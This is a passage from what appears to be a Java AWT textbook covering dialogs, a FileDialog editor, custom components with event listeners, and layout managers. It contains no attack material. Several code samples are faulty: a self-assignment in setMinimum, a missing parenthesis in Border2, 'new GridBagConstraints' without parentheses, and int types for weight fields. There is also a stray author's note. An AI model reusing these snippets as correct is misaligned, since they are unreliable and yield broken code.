        Panel yn = new Panel();
        Button button = new Button("Yes");
        button.addActionListener( this );
        yn.add( button );
        button = new Button("No");
        button.addActionListener( this );
        yn.add( button );
        add("South", yn);
        pack();
    }
    synchronized public boolean answer() {
        return isYes;
    }
    synchronized public void actionPerformed ( ActionEvent e ) {
        isYes = e.getActionCommand().equals("Yes");
        dispose();
    }
    public static void main(String[] s) {
        Frame f = new Frame();
        f.add( "Center", new Label("I'm the application") );
        f.add( "South", new Button("Can you press me?") );
        f.pack();
        f.show();
        ModalYesNoDialog query = new ModalYesNoDialog( f, "Do you love me?");
        query.show();
        if ( query.answer() == true )
            System.out.println("She loves me...");
        else
            System.out.println("She loves me not...");
    }
}

The heart of this example is a class called ModalYesNoDialog that implements a simple form with a question and two buttons. To create the Dialog, our class's constructor calls its superclass's constructor (super()), which is Dialog(). When we create the dialog, we must supply a parent Frame; we also specify that the Dialog is modal.

The rest of the constructor--for that matter, the rest of the class--doesn't have any surprises. We use a Label to display the question; we add a pair of buttons, labeled "Yes" and "No," for the user to give his answer. We provide an answer() method so we can ask the dialog which button the user pushed; and we provide an actionPerformed() method to receive the button events.

The rest of our program is an application that uses the ModalYesNoDialog. It creates a Frame, creates the ModalYesNoDialog, displays the dialog by calling its show() method, and reads the answer.

We used an application rather than an applet to demonstrate the Dialog because dialogs are somewhat unweildy in applets. You need to have a Frame to serve as the dialog's parent, and most applets don't need Frames. However, there's a simple workaround. There's no reason an applet can't use an invisible frame: just create a Frame, call its pack() method, but never call its show() method. The Frame won't be displayed, but will be able to serve as the parent to a dialog box.

Now let's talk briefly about nonmodal dialogs. The most obvious change is in the constructor: now you call

new Dialog(myFrame, false);

But there are a few other issues to think about. Using a nonmodal dialog is slightly more complex because it's asynchronous: the program doesn't wait until the user responds. Therefore, you might want to modify the answer() method so that it calls wait() to wait until the user replies. The code would look like this:

// add a new boolean for the answer() method
private boolean isAnswered = false;
// add a wait() in the answer() method
synchronized public boolean answer() {
    while ( !isAnswered )
        try { wait(); } catch (InterruptedException e) { /* error */ }
    return isYes;
}

If you do this, you also need to modify
actionPerformed() to call
notifyAll() and terminate the
wait():

    // add a notify() in the actionPeformed() method
    synchronized public void actionPerformed ( ActionEvent e ) {
        isYes = e.getActionCommand().equals("Yes");
        isAnswered = true;
        notifyAll();
        dispose();
    }
}

File Selection Dialog

A FileDialog is a standard file-selection box. As with other AWT components, most of FileDialog is implemented in the native part of the AWT toolkit, so it looks and acts like a standard file selector on your platform.

Now selecting files all day can be pretty boring without a greater purpose, so we'll exercise the FileDialog in a mini-editor application. Editor provides a text area in which we can load and work with files. We'll stop just shy of the capability to save and let you fill in the blanks (with a few caveats). The FileDialog created by Editor is shown in Figure 11.6.

Figure 11.9: A FileDialog

[Graphic: Figure 11-9]

import java.awt.*;
import java.awt.event.*;
import java.io.*;
class Editor extends Frame implements ActionListener {
    TextArea textArea = new TextArea();
    Editor() {
        super("Editor");
        setLayout( new BorderLayout() );
        add("Center", textArea);
        Menu menu = new Menu ("File");
        menu.add ( makeMenuItem ("Load") );
        menu.add ( makeMenuItem ("Save") );
        menu.add ( makeMenuItem ("Quit") );
        MenuBar menuBar = new MenuBar();
        menuBar.add ( menu );
        setMenuBar( menuBar );
        pack();
    }
    public void actionPerformed( ActionEvent e ) {
        String command = e.getActionCommand();
        if ( command.equals("Quit") )
            dispose();
        else if ( command.equals("Load") )
            loadFile();
        else if ( command.equals("Save") )
            saveFile();
    }
    private void loadFile () {
        FileDialog fd = new FileDialog( this, "Load File", FileDialog.LOAD );
        fd.show();
        String file = fd.getFile();
        if ( file == null ) // Cancel
            return;
        try {
            FileInputStream fis = new FileInputStream ( fd.getFile() );
            byte [] data = new byte [ fis.available() ];
            fis.read( data );
            textArea.setText( new String( data ) );
        } catch ( IOException e ) {
            textArea.setText( "Could not load file..." );
        }
    }
    private void saveFile() {
        FileDialog fd = new FileDialog( this, "Save File", FileDialog.SAVE );
        fd.show();
        // Save file data...
    }
    private MenuItem makeMenuItem( String name ) {
        MenuItem m = new MenuItem( name );
        m.addActionListener( this );
        return m;
    }
    public static void main(String[] s) {
        new Editor().show();
    }
}

Editor is a Frame that lays itself out with a TextArea and a pull-down menu. From the pull-down File menu, we can opt to Load, Save, or Quit. The action() method catches the events associated with these menu selections and takes the appropriate action.

The interesting parts of Editor are the private methods loadFile() and saveFile(). loadFile() creates a new FileDialog with three parameters: a parent frame (just as in the previous Dialog example), a title, and a directive. This parameter should be one of the FileDialog class's static identifiers LOAD or SAVE, which tell the dialog whether to load or save a file.

A FileDialog does its work when the show() method is called. Unlike most components, its show() method blocks the caller until it completes its job; the file selector then disappears. After that, we can retrieve the designated filename with the FileDialog's getFile() method. In loadFile(), we use a fragment of code from Chapter 8, Input/Output Facilities to get the contents of the named file. We then add the contents to the TextArea with setText(). You can use loadFile() as a roadmap for the unfinished saveFile() method, but it would be prudent to add the standard safety precautions. For example, you could use the previous YesNo example to prompt the user before overwriting an existing file.

Previous | Home | Next
ScrollPane and Scrollbars | Book Index | Creating custom components
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.9 Creating custom components

Previous Chapter 11
Using and Creating GUI Components 		Next

11.9 Creating custom components

In the previous sections, we've worked with many different user interface objects, and made a lot of new classes that are sort of like components. Our new classes do one particular thing well; a number of them can be added to applets or other containers just like the standard AWT components; and several of them are lightweight components that use system resources efficiently because they don't rely on a peer.

But these new classes still aren't really components. If you think about it, all our classes have been fairly self-contained; they know everything about what to do, and don't rely on other parts of the program to do much processing. Therefore, they are overly specialized. Our menu example created a DinnerFrame class that had a menu of dinner options, but it included all the processing needed to handle the user's selections. If we wanted to process the selections differently, we'd have to modify the class. That's not what we want; we'd like to separate registering the user's choices from processing those choices. In contrast, true components don't do any processing. They let the user take some action, and then inform some other part of the program, which processes the action.

So we need a way for our new classes to communicate with other parts of the program. Since we want our new classes to be components, they should communicate the way components communicate: that is, by generating events and sending those events to listeners. So far, we've written a lot of code that listened for events, but haven't seen any examples that generated events.

Generating events sounds like it ought to be difficult, but it isn't. You can either create new kinds of events, by subclassing AWTEvent, or use one of the standard event types. In either case, you need to register listeners for your events, and provide a means to deliver events to your listeners. If you are using the standard events, AWT provides an AWTEventMulticaster class that handles most of the machinery. We'll focus on that option in this section; at the end, we'll make some comments on how you might manage events on your own.

The AWTEventMulticaster is one of those things that looks a lot more complicated than it is. It is confusing, but most of the confusion occurs because it's hard to believe it's so simple. Its job is to maintain a linked list of event listeners and to propagate events to all the listeners on that linked list. So we can use a multicaster to register (and unregister) event listeners and to send any events we generate to all registered listeners.

The best way to show you how to use the multicaster is through an example. The following example creates a new component called PictureButton. PictureButton looks at least somewhat button-like and responds to mouse clicks (MOUSE_RELEASED events) by generating action events. (Figure 11.7 shows a PictureButton in both depressed and raised modes.) The PictureButtonApplet is passed the events in its actionPerformed() method, just as with any other button, and prints a message each time it's pressed.

Figure 11.10: The PictureButtonApplet

[Graphic: Figure 11-10]

import java.awt.*;
import java.awt.event.*;
public class PictureButtonApplet extends java.applet.Applet implements ActionListener {
    Image image;
    public void init() {
        image = getImage( getClass().getResource(getParameter("image")) );
        PictureButton pictureButton = new PictureButton( image );
        add ( pictureButton );
        pictureButton.setActionCommand("Aaargh!");
        pictureButton.addActionListener( this );
    }

    public void actionPerformed( ActionEvent e ) {
        System.out.println( e );
    }
}
class PictureButton extends Component {
    private Image image;
    boolean pressed = false;
    ActionListener actionListener;
    String actionCommand;
    PictureButton(Image image) {
        this.image = image;
        MediaTracker mt = new MediaTracker(this);
        mt.addImage( image, 0 );
        try { mt.waitForAll(); } catch (InterruptedException e) { /* error */ };
        setSize( image.getWidth(null), image.getHeight(null) );
        enableEvents( AWTEvent.MOUSE_EVENT_MASK );
    }
    public void paint( Graphics g ) {
        g.setColor(Color.white);
        int width = getSize().width, height = getSize().height;
        int offset = pressed ? -2 : 0;  // fake depth
        g.drawImage( image, offset, offset, width, height, this );
        g.draw3DRect(0, 0, width-1, height-1, !pressed);
        g.draw3DRect(1, 1, width-3, height-3, !pressed);
    }
    public Dimension getPreferredSize() {
        return getSize();
    }
    public void processEvent( AWTEvent e ) {
        if ( e.getID() == MouseEvent.MOUSE_PRESSED ) {
            pressed = true;
            repaint();
        } else
        if ( e.getID() == MouseEvent.MOUSE_RELEASED ) {
            pressed = false;
            repaint();
            fireEvent();
        }
        super.processEvent(e);
    }
    public void setActionCommand( String actionCommand ) {
        this.actionCommand = actionCommand;
    }
    public void addActionListener(ActionListener l) {
        actionListener = AWTEventMulticaster.add(actionListener, l);
    }
    public void removeActionListener(ActionListener l) {
        actionListener = AWTEventMulticaster.remove(actionListener, l);
    }
    private void fireEvent() {
        if (actionListener != null) {
            ActionEvent event = new ActionEvent( this,
                                ActionEvent.ACTION_PERFORMED, actionCommand );
            actionListener.actionPerformed( event );
        }
    }
}

Before diving into the event multicaster, here are a few notes about the applet and the PictureButton. The applet is an ActionListener because it is looking for events coming from the button. Therefore it registers itself as a listener and contains an actionPerformed() method. The PictureButton doesn't have a label, so the applet explicitly sets the button's action command by calling setActionCommand().

The button itself is concerned mostly with being pretty. It uses a media tracker to make sure that the image has loaded before displaying itself. The paint() method, which we won't discuss in detail, is devoted to making the button appear "pressed" (i.e., recessed) when the mouse is pressed. The getPreferredSize() method lets layout managers size the button appropriately.

Now we'll start with the button's machinery. The button needs to receive mouse events. It could register as a mouse listener, but in this case, it seems more appropriate to override processEvent(). processEvent() receives all incoming events. It first checks whether we have a MOUSE_PRESSED event; if so, it tells the button to repaint itself in its "pressed" mode. If the event is a MOUSE_RELEASED event, it tells the button to paint itself in its "unpressed" mode and calls the private fireEvent() method, which sends an action event to all listeners. Finally, processEvent() calls super.processEvent() to make sure normal event processing occurs; this is a good practice whenever you override a method that performs a significant task.

However, processEvent() doesn't receive events if they aren't generated; and normally, events aren't generated if there are no listeners. Therefore, the button's constructor calls enableEvents() with the argument MOUSE_EVENT_MASK to turn on mouse event processing.

Now we're ready to talk about how to generate events. The picture button has addActionListener() and removeActionListener() methods, for registering listeners. These just call the static methods add() and remove() of the AWTEventMulticaster class. Here's the addActionListener() method:

public void addActionListener(ActionListener l) {
    actionListener = AWTEventMulticaster.add(actionListener, l);
}

If you look back to see how the instance variable actionListener is declared, you'll see that it is an ActionListener. No big surprise--except that this code doesn't appear to make sense. It's saying "add an action listener to an action listener and store the result back in the original action listener."

There are a couple of tricks here. First, an AWTEventMulticaster implements all of the listener interfaces. Therefore, a multicaster can appear wherever an ActionListener (or any other listener) is required. In this case, the actionListener object will be a multicaster--perhaps not what you expected, and certainly not what's being passed in the argument l. Now the code is starting to make sense: earlier, I said that multicasters maintained linked lists of listeners. So this method really adds l to the linked list of action listeners that a multicaster is managing, and saved the new list.

But that begs the question: where does the multicaster come from? The linked list has to start somewhere. This is where the second trick comes in. add() is a static method, so we don't need a multicaster to call it. But we still need some way to start the linked list. The class's constructor is never called--in fact, it's protected, so you can't call it. The answer lies in the add() method, which creates an AWTEventMulticaster when you need it--that is, as soon as you add the second listener to the list. The arguments to add() may be null; one of them probably is null when you register your first action listener.

Removing action listeners works the same way. We use the AWTEventMulticaster's remove() method. After the last listener is taken off the linked list, remove() returns null.

With this machinery in place, sending an event to all registered listeners is very simple. You just create an event by calling its constructor, and then call the appropriate method in the listener interface to deliver it. The AWTEventMulticaster makes sure that the event gets to all the listeners. In this example, we create an ActionEvent and deliver the event to the listeners' actionPerformed() methods by calling actionListener.actionPerformed(event).

The code to generate other kinds of events is almost exactly the same. Remember the multicaster implements all the listener interfaces and has overloaded add() and remove() methods for every standard listener type. Therefore, it can be used for any kind of AWTEvent. It shouldn't be hard to adapt this example to other situations.

What if you want to generate your own event type by subclassing AWTEvent? To make things concrete, let's say you want to create an ExplosionEvent that you generate whenever your monitor catches fire. In this case, you should define your own ExplosionListener interface, and (possibly) your own ExplosionAdapter class. You can't use the AWTEventMulticaster unless your new event is a subclass of a standard event; extending the multicaster to support new event types probably isn't worth the effort. It's easier to write an addExplosionListener() method that maintains a Vector of listeners and to deliver events by calling the appropriate method of each listener in the Vector. We'll demonstrate this approach in the next section, where we implement another new component: a Dial.

A Dial Component

    Things to mention in widgets Dial event example:
        synchronization issues in add/remove/fire.
        You should sync add/remove... but be wary of syncing fire,
        deadlocks

The standard AWT classes don't have a component that's similar to an old fashioned dial--for example, the volume control on your radio. Such a component is something of a rarity; I don't remember seeing one in any application I've used. But there's no reason we can't build one. In this section, we implement a Dial class. We also define a new event type, DialEvent, and a new listener interface, DialListener. The dial can be used just like any other Java component. It is built entirely in Java and, therefore, is a lightweight component; it extends Component directly and doesn't have a peer.

By defining a new event type, I'm stretching the point slightly. There's no reason our dial couldn't use the standard AdjustmentEvent. However, this gives us a chance to show how to handle event listeners without using the event multicaster. There are many situations in which defining a new event type will be the only appropriate solution.

Figure 11.11 shows what the dial looks like; it is followed by the code.

Figure 11.11: The Dial Applet

[Graphic: Figure 11-11]

import java.awt.*;
import java.awt.event.*;
import java.util.*;
public interface DialListener {
    void dialAdjusted( DialEvent e );
}
public class DialEvent extends AWTEvent {
    int value;
    public static final int DIAL_ADJUSTED = RESERVED_ID_MAX + 1;
    DialEvent( Dial source, int id, int value ) {
        super( source, id );
        this.value = value;
    }
    public int getValue() {
        return value;
    }
}
public class Dial extends Component {
    int minValue = 0, value, maxValue = 100, radius;
    Vector dialListeners;
    Dial( int maxValue ) {
        this.maxValue = maxValue;
        enableEvents( AWTEvent.MOUSE_MOTION_EVENT_MASK );
    }
    public void paint( Graphics g ) {
        int tick = 10;
        radius = getSize().width/2 - tick;
        g.drawLine(radius*2+tick/2, radius, radius*2+tick, radius); // the tick
        draw3DCircle( g, 0, 0, radius, true );
        draw3DCircle( g, 1, 1, radius-1, true );
        int knobRadius = radius/7;
        double th = value*(2*Math.PI)/(maxValue-minValue);
        int x = (int)(Math.cos(th)*(radius-knobRadius*3)),
            y = (int)(Math.sin(th)*(radius-knobRadius*3));
        draw3DCircle( g, x+radius-knobRadius, y+radius-knobRadius, knobRadius, false );
    }
    private void draw3DCircle( Graphics g, int x, int y, int radius, boolean raised ) {
        g.setColor( raised ? Color.white : Color.black );
        g.drawArc( x, y, radius*2, radius*2, 45, 180);
        g.setColor( raised ? Color.black : Color.white);
        g.drawArc( x, y, radius*2, radius*2, 225, 180);
    }
    public void processEvent( AWTEvent e ) {
        if ( e.getID() == MouseEvent.MOUSE_DRAGGED ) {
            int y=((MouseEvent)e).getY();
            int x=((MouseEvent)e).getX();
            double th = Math.atan( (1.0*y-radius)/(x-radius) );
            int value = ( (int)(th/(2*Math.PI) * (maxValue-minValue)) );
            if ( x < radius )
                setValue( value + maxValue/2 );
            else if ( y < radius )
                setValue( value + maxValue );
            else
                setValue( value );
            fireEvent();
        }
        super.processEvent( e );
    }
    public void setValue(int value) {
        this.value = value;
        repaint();
    }
    public int getValue()  { return value; }
    public void setMinimum(int minValue )  { this.minValue = this.minValue; }
    public int getMinimum()  { return minValue; }
    public void setMaximum(int maxValue )  { this.maxValue = maxValue; }
    public int getMaximum()  { return maxValue; }
    public void addDialListener(DialListener listener) {
        if ( dialListeners == null )
            dialListeners = new Vector();
        dialListeners.addElement( listener );
    }
    public void removeDialListener(DialListener listener) {
        if ( dialListeners != null )
            dialListeners.removeElement( listener );
    }
    private void fireEvent() {
        if ( dialListeners == null )
            return;
        DialEvent event = new DialEvent(this, DialEvent.DIAL_ADJUSTED, value);
        for (Enumeration e = dialListeners.elements(); e.hasMoreElements(); )
            ((DialListener)e.nextElement()).dialAdjusted( event );
    }
}
public class DialApplet extends java.applet.Applet
                                implements DialListener, AdjustmentListener {
    final int max = 100;
    Scrollbar scrollbar = new Scrollbar( Scrollbar.HORIZONTAL, 0, 1, 0, max );
    Dial dial = new Dial( max );
    public void init() {
        setLayout( new BorderLayout() );
        dial.addDialListener( this );
        add( "Center", dial );
        scrollbar.addAdjustmentListener( this );
        add( "South", scrollbar );
    }
    public void dialAdjusted( DialEvent e ) {
        scrollbar.setValue( e.getValue() );
    }
    public void adjustmentValueChanged( AdjustmentEvent e ) {
        dial.setValue( e.getValue() );
    }
}

Let's start from the top. We'll focus on the event handling and leave you to figure out the trigonometry on your own. The DialListener interface contains a single method, dialAdjusted(), which is called when a DialEvent occurs. The DialEvent itself is simple. It defines a new event ID, DIAL_ADJUSTED, that identifies dial events. This constant is defined so that it won't conflict with the ID numbers reserved for standard AWT events. The event itself only carries one item of data: the dial's new value. It has a single method that returns this value.

The constructor for the Dial class stores the dial's maximum value; its minimum value is 0. It then enables mouse motion events, which the Dial needs to tell how it is being manipulated.

paint(), draw3DCircle(), and processEvent() do a lot of trigonometry to figure out how to display the dial. draw3DCircle() is a private helper method that draws a circle that appears either raised or depressed; we use this to make the dial look three dimensional. processEvent() is called whenever any event occurs within the component's area. We only expect to receive mouse motion events, because these are the only events we enabled. processEvent() first checks the event's ID; if it is MOUSE_DRAGGED, the user has changed the dial's setting. We respond by computing a new value for the dial, repainting the dial in its new position and firing a DialEvent. Any other events (in particular, MOUSE_MOVED) are ignored. However, we call the superclass's processEvent() method to make sure that any other processing needed for this event occurs.

The next group of methods provide ways to retrieve or change the dial's current setting, minimum, and maximum values. They are similar to the methods in the Adjustable interface; you could argue that Dial really ought to implement Adjustable.

Finally, we reach the methods that work with listeners. addDialListener() adds a new listener to a Vector of listeners by calling addElement(). If the vector doesn't already exist, addDialListener() creates it. removeDialListener() simply takes a listener off the list, so that it won't receive any further events. fireEvent() is a private method that creates a DialEvent and sends it to every listener. It does so by converting the Vector into an Enumeration and running through every element in the list by calling nextElement() until hasMoreElements() returns false. To send the event to a listener, it calls the listener's dialAdjusted() method. Note that nextElement() returns an Object; we must cast this object to DialListener before we can deliver the event.

To show how the applet is used, I included a simple applet called DialApplet. This applet places a Dial and a Scrollbar in a border layout. Any change to either the dial or the scrollbar is reflected by the other. The applet implements both DialListener and AdjustmentListener, and therefore has both dialAdjusted() and adjustmentValueChanged() methods. Although this isn't necessarily a good argument for creating a new event type, it's worth noticing that the logic of the listener methods is much simpler than it would have been if the dial generated adjustment events.

Previous | Home | Next
Dialogs | Book Index | Layout Managers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Layout Managers

Previous Chapter 12 Next

12. Layout Managers

Contents:
FlowLayout
GridLayout
BorderLayout
CardLayout
GridBagLayout
Nonstandard Layout Managers
Absolute Positioning?

A layout manager arranges the child components of a container, as shown in Figure 12.1. It positions and sets the size of components within the container's display area according to a particular layout scheme. The layout manager's job is to fit the components into the available area, while maintaining the proper spatial relationships between the components. AWT comes with a few standard layout managers that will collectively handle most situations; you can make your own layout managers if you have special requirements.

Figure 12.1: LayoutManager at work

[Graphic: Figure 12-1]

Every container has a default layout manager; therefore, when you make a new container, it comes with a LayoutManager object of the appropriate type. You can install a new layout manager at any time with the setLayout() method. Below, we set the layout manager of a container to a BorderLayout:

setLayout ( new BorderLayout() );

Notice that we call the BorderLayout constructor, but we don't even save a reference to the layout manager. This is typical; once you have installed a layout manager, it does its work behind the scenes, interacting with the container. You rarely call the layout manager's methods directly, so you don't usually need a reference (a notable exception for CardLayout). However, you do need to know what the layout manager is going to do with your components as you work with them.

As I explained earlier, the LayoutManager is consulted whenever a container's doLayout() method is called (usually when it is validated), to reorganize the contents. It does its job by calling the setLocation() and setBounds() methods of the individual child components to arrange them in the container's display area. A container is layed out the first time it is displayed, and thereafter whenever the container's validate() method is called. Containers that are a subclass of the Window class (which include Frame) are automatically validated whenever they are packed or resized. Calling pack() sets the window's size so it is as small as possible while holding all its components at their preferred sizes.

Every component determines three important pieces of information used by the layout manager in placing and sizing it: a minimum size, a maximum size, and a preferred size. These are reported by the getMinimumSize(), getMaximumSize(), and getPreferredSize(), methods of Component, respectively. For example, a plain Button object can normally be sized to any proportions. However, the button's designer can provide a preferred size for a good-looking button. The layout manager might use this size when there are no other constraints, or it might ignore it, depending on its scheme. Now, if we give the button a label, the button may need a minimum size in order to display itself properly. The layout manager might show more respect for the button's minimum size and guarantee that it has at least that much space. Similarly, a particular component might not be able to display itself properly if it is too large (perhaps it has to scale up an image); it can use getMaximumSize() to report the largest size it considers acceptable.[1]

[1] Unfortunately, the current set of layout managers doesn't do anything with the maximum size. This may change in a future release.

The preferred size of a Container object has the same meaning as for any other type of component. However, since a Container may hold its own components and want to arrange them in its own layout, its preferred size is a function of its layout manager. The layout manager is therefore involved in both sides of the issue. It asks the components in its container for their preferred (or minimum) sizes in order to arrange them. Based on those values it also calculates the preferred size that is reported by its own container to that container's parent.

When a layout manager is called to arrange its components, it is working within a fixed area. It usually begins by looking at its container's dimensions, and the preferred or minimum sizes of the child components. It then doles out screen area and sets the sizes of components according to its scheme. You can override the getMinimumSize(), getMaximumSize(), and getPreferredSize() methods of a component, but you should do this only if you are actually specializing the component, and it has new needs. If you find yourself fighting with a layout manager because it's changing the size of one of your components, you are probably using the wrong kind of layout manager or not composing your user interface properly. Remember that it's possible to use a number of Panel objects in a given display, where each one has its own LayoutManager. Try breaking down the problem: place related components in their own Panel and then arrange the panels in the container. When that becomes too complicated, you can choose to use a constraint based layout manager like GridBagLayout, which we'll discuss later in this chapter.

12.1 FlowLayout

FlowLayout is a simple layout manager that tries to arrange components with their preferred sizes, from left to right and top to bottom in the display. A FlowLayout can have a specified justification of LEFT, CENTER, or RIGHT, and a fixed horizontal and vertical padding. By default, a flow layout uses CENTER justification, meaning that all components are centered within the area allotted to them. FlowLayout is the default for Panel components like Applet.

The following applet adds five buttons to the default FlowLayout; the result is shown in Figure 12.2.

Figure 12.2: A flow layout

[Graphic: Figure 12-2]

import java.awt.*;

public class Flow extends java.applet.Applet {
    public void init() {
        // Default for Applet is FlowLayout
        add( new Button("One") );
        add( new Button("Two") );
        add( new Button("Three") );
        add( new Button("Four") );
        add( new Button("Five") );
    }
}

If the applet is small enough, some of the buttons spill over to a second or third row.

Previous | Home | Next
Creating custom components | Book Index | GridLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.2 GridLayout

Previous Chapter 12
Layout Managers 		Next

12.2 GridLayout

GridLayout arranges components into regularly spaced rows and columns. The components are arbitrarily resized to fit in the resulting areas; their minimum and preferred sizes are consequently ignored. GridLayout is most useful for arranging very regular, identically sized objects and for allocating space for Panels to hold other layouts in each region of the container.

GridLayout takes the number of rows and columns in its constructor. If you subsequently give it too many objects to manage, it adds extra columns to make the objects fit. You can also set the number of rows or columns to zero, which means that you don't care how many elements the layout manager packs in that dimension. For example, GridLayout(2,0) requests a layout with two rows and an unlimited number of columns; if you put ten components into this layout, you'll get two rows of five columns each.

The following applet sets a GridLayout with three rows and two columns as its layout manager; the results are shown in Figure 12.3.

Figure 12.3: A grid layout

[Graphic: Figure 12-3]

import java.awt.*;

public class Grid extends java.applet.Applet {
    public void init() {
        setLayout( new GridLayout( 3, 2 ));
        add( new Button("One") );
        add( new Button("Two") );
        add( new Button("Three") );
        add( new Button("Four") );
        add( new Button("Five") );
    }
}

The five buttons are laid out, in order, from left to right, top to bottom, with one empty spot.

Previous | Home | Next
FlowLayout | Book Index | BorderLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.3 BorderLayout

Previous Chapter 12
Layout Managers 		Next

12.3 BorderLayout

BorderLayout is a little more interesting. It tries to arrange objects in one of five geographical locations: "North," "South," "East," "West," and "Center," possibly with some padding between. BorderLayout is the default layout for Window and Frame objects. Because each component is associated with a direction, BorderLayout can manage at most five components; it squashes or stretches those components to fit its constraints. As we'll see in the second example, this means that you often want to have BorderLayout manage sets of components in their own panels.

When we add a component to a border layout, we need to specify both the component and the position at which to add it. To do so, we use an overloaded version of the add() method that takes an additional argument as a constraint. This additional argument is passed to the layout manager when the new component is added. In this case it specifies the name of the position for the BorderLayout. Otherwise the LayoutManager is not consulted until it's asked to lay out the components.

The following applet sets a BorderLayout layout and adds our five buttons again, named for their locations; the result is shown in Figure 12.4.

Figure 12.4: A border layout

[Graphic: Figure 12-4]

import java.awt.*;

public class Border extends java.applet.Applet {
    public void init() {
        setLayout( new java.awt.BorderLayout() );
        add( new Button("North"), "North" );
        add( new Button("East"), "East" );
        add( new Button("South"), "South" );
        add( new Button("West"), "West" );
        add( new Button("Center"), "Center" );
    }
}

So, how exactly is the area divided up? Well, the objects at "North" and "South" get their preferred height and are expanded to fill the full area horizontally. "East" and "West" components on the other hand, get their preferred width, and are expanded to fill the remaining area between "North" and "South" vertically. Finally, the "Center" object takes all of the rest of the space. As you can see in Figure 12.5, our buttons get distorted into interesting shapes.

What if we don't want BorderLayout messing with the sizes of our components? One option would be to put each button in its own Panel. The default layout for a Panel is FlowLayout, which respects the preferred size of components. The preferred sizes of the panels are effectively the preferred sizes of the buttons, but if the panels are stretched, they won't pull their buttons with them. Border2 illustrates this approach as shown in Figure 12.5.

Figure 12.5: Another border layout

[Graphic: Figure 12-5]

import java.awt.*;

public class Border2 extends java.applet.Applet {
    public void init() {
        setLayout( new BorderLayout() );
        Panel p = new Panel();
        p.add(new Button("East") );
        add( p, "East" );
        p = new Panel();
        p.add(new Button("West") );
        add( p, "West" ;
        p = new Panel();
        p.add(new Button("North") );
        add( p, "North" );
        p = new Panel();
        p.add(new Button("South") );
        add(p, "South" );
        p = new Panel();
        p.add(new Button("Center") );
        add( p, "Center" );
    }
}

In this example, we create a number of panels, put our buttons inside the panels, and put the panels into the applet, which has the BorderLayout manager. Now, the Panel for the "Center" button soaks up the extra space that comes from the BorderLayout. Each Panel's FlowLayout centers the button in the panel and uses the button's preferred size. In this case, it's all a bit awkward. (This is one of the problems that getMaximumSize() will eventually solve.) We'll see how we could accomplish this more directly using GridBagLayout shortly.

Finally, this version of the applet has a lot of unused space. If we wanted, we could get rid of the extra space by resizing the applet:

setSize( getPreferredSize() );

Previous | Home | Next
GridLayout | Book Index | CardLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.4 CardLayout

Previous Chapter 12
Layout Managers 		Next

12.4 CardLayout

CardLayout is a special layout manager for creating the effect of a stack of cards. Instead of arranging all of the container's components, it displays only one at a time. You would use this kind of layout to implement a hypercard stack or a Windows-style set of configuration screens. When you add a component to the layout, you use the two-argument version of add(); the extra argument is an arbitrary string that serves as the card's name:

add("netconfigscreen", myComponent);

To bring a particular card to the top of the stack, call the CardLayout's show() method with two arguments: the parent Container and the name of the card you want to show. There are also methods like first(), last(), next(), and previous() for working with the stack of cards. These methods take a single argument: the parent Container. Here's a simple example:

import java.awt.*;

public class main extends java.applet.Applet {
    CardLayout cards = new CardLayout();

    public void init() {
        setLayout( cards );
        add( new Button("one"), "one" );
        add( new Button("two"), "two" );
        add( new Button("three"), "three" );
    }

    public boolean action( Event e, Object arg) {
        cards.next( this );
        return true;
    }
}

We add three buttons to the layout and cycle through them as they are pressed. In a more realistic example, we would build a group of panels, each of which might implement some part of a complex user interface, and add those panels to the layout. Each panel would have its own layout manager. The panels would be resized to fill the entire area available (i.e., the area of the Container they are in), and their individual layout managers would arrange their internal components.

Previous | Home | Next
BorderLayout | Book Index | GridBagLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.5 GridBagLayout

Previous Chapter 12
Layout Managers 		Next

12.5 GridBagLayout

GridBagLayout is a very flexible layout manager that allows you to position components relative to one another using constraints. With GridBagLayout (and a fair amount of effort) you can create almost any imaginable layout. Components are arranged at "logical" coordinates on a abstract grid. We'll call them "logical" coordinates because they really designate positions in the space of rows and columns formed by the set of components. Rows and columns of the grid stretch to different sizes, based on the sizes and constraints of the components they hold.

A row or column in a GridBagLayout expands to accommodate the dimensions and constraints of the largest component in its ranks. Individual components may span more than one row or column. Components that aren't as large as their grid cell can be "anchored" within their "cell." They can also be set to fill or expand their area in either dimension. Extra area in the grid rows and columns can be parceled out according to the weight constraints of the components. Therefore, you can control how various components will grow and stretch when a window is resized.

GridBagLayout is much easier to use in a graphical, WYSIWYG GUI builder environment. That's because working with GridBag is kind of like messing with the "rabbit ears" antennae on your television. It's not particularly difficult to get the results that you want through trial and error, but writing out hard and fast rules for how to go about it is difficult. In short, GridBagLayout is complex and has some quirks. It is also simply a bit ugly both in model and implementation. Remember that you can do a lot with nested panels and by composing simpler layout managers within one another. If you look back through this chapter, you'll see many examples of composite layouts; it's up to you to determine how far you should go before making the break from simpler layout managers to a more complex "do it all in one" layout manager like GridBagLayout.

GridBagConstraints

Having said that GridBagLayout is complex and a bit ugly, I'm going to contradict myself and say that it's surprisingly simple. There is only one constructor with no arguments (GridBagLayout()), and there aren't a lot of fancy methods to control how the display works.

The appearance of a grid bag layout is controlled by sets of GridBagConstraints, and that's where things get hairy. Each component managed by a GridBagLayout is associated with a GridBagConstraints object. GridBagConstraints holds the following variables, which we'll describe in detail shortly:

int gridx, gridy

Controls the position of the component on the layout's grid.

int weightx, weighty

Controls how additional space in the row or column is allotted to the component.

int fill

Controls whether the component expands to fill the space allocated to it.

int gridheight, gridwidth

Controls the number of rows or columns the component occupies.

int anchor

Controls the position of the component if there is extra room within the space allocated for it.

int ipadx, ipady

Controls padding between the component and the borders of it's area.

Insets insets

Controls padding between the component and neighboring components.

To make a set of constraints for a component or components, you simply create a new instance of GridBagConstraints and set these public variables to the appropriate values. There are no pretty constructors, and not much else to the class at all.

The easiest way to associate a set of constraints with a component is to use the version of add() that takes a layout object as an argument, in addition to the component itself. This puts the component in the container and associates your GridBagConstraints object with it.

    Component component = new Label("constrain me, please...");
    GridBagConstraints constraints = new GridBagConstraints;
    constraints.gridx = x;
    constraints.gridy = y;
    ...
    add( component, constraints );

